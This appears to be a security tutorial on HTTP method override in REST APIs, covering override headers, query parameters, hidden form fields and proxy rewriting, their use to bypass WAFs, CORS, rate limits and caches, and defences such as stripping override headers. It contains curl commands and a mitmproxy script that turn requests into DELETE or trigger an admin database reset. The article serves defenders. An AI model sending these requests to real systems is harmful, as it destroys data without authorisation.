REST API — HTTP Method Override and Its Consequences
REST APIs rely on a simple convention — the HTTP method tells the server what to do with a resource. GET reads, POST creates, PUT overwrites, DELETE removes. The problem starts when an attacker overrides the method in flight and turns a read into a delete.
How to Override the Method
X-HTTP-Method-Override Header
You send POST, but the header tells the server to treat the request as a different method:
curl -X POST https://api.example.com/users/42 \
-H "X-HTTP-Method-Override: DELETE"
The server receives POST, but the application interprets it as DELETE. User 42 is gone.
Header variants — different servers read different names:
X-Method-Override: PUT
X-HTTP-Method: PATCH
This mechanism exists for practical reasons — older browsers and firewalls only allowed GET and POST. To send DELETE from an HTML form, you had to wrap it in a POST with an extra header.
Query String Parameter
POST /users/42?_method=DELETE
POST /users/42?method=PUT
Hidden HTML Form Field
<form method="POST" action="/users/42">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete</button>
</form>
Direct Override via Proxy
Burp Suite, mitmproxy, Zap — intercept the request and change the method before it reaches the server:
GET /api/users/42 HTTP/1.1
Changed to:
DELETE /api/users/42 HTTP/1.1
A mitmproxy script for automatic method override:
from mitmproxy import http
def request(flow: http.HTTPFlow):
if flow.request.path.startswith("/api/users"):
flow.request.method = "DELETE"
Consequences
WAF Bypass
Typical scenario — a WAF filters requests by HTTP method:
# WAF rule: block DELETE on /api/users/*
if method == "DELETE" and path matches "/api/users/*":
block()
The attacker sends:
curl -X POST https://api.example.com/api/users/42 \
-H "X-HTTP-Method-Override: DELETE"
The WAF sees POST — lets it through. The application sees DELETE — deletes the user.
CORS Bypass
Browsers send a preflight (OPTIONS) request only for PUT, DELETE, and PATCH methods. GET and POST go through without preflight when using simple headers.
POST with X-HTTP-Method-Override: DELETE — the browser won’t send a preflight because POST is “safe.” The server executes DELETE.
Rate Limit Bypass
The rate limiter counts requests per method:
GET /api/data — limit 100/min
POST /api/data — limit 10/min
GET with X-HTTP-Method-Override: POST — the rate limiter sees GET (high limit), the application processes POST.
Cache Poisoning
A reverse proxy (Varnish, CDN) caches GET responses. The attacker sends:
curl -X GET https://api.example.com/users/42 \
-H "X-HTTP-Method-Override: DELETE"
The proxy caches it as GET, the backend executes DELETE. Subsequent users get the cached response for a request that deleted the resource.
Turning GET into POST
curl -X GET "https://api.example.com/admin/reset-db" \
-H "X-HTTP-Method-Override: POST"
If /admin/reset-db responds to POST — GET with override will execute that action.
How to Defend
The simplest approach — disable method override. Modern browsers and HTTP clients support all methods, so the POST workaround is no longer needed.
If override must stay — two rules:
- only allow override from POST (never from GET — GET should never have side effects)
- don’t rely on the HTTP method for access control — check permissions per action, not per method
At the reverse proxy level, strip override headers before they reach the backend:
proxy_set_header X-HTTP-Method-Override "";
proxy_set_header X-Method-Override "";
proxy_set_header X-HTTP-Method "";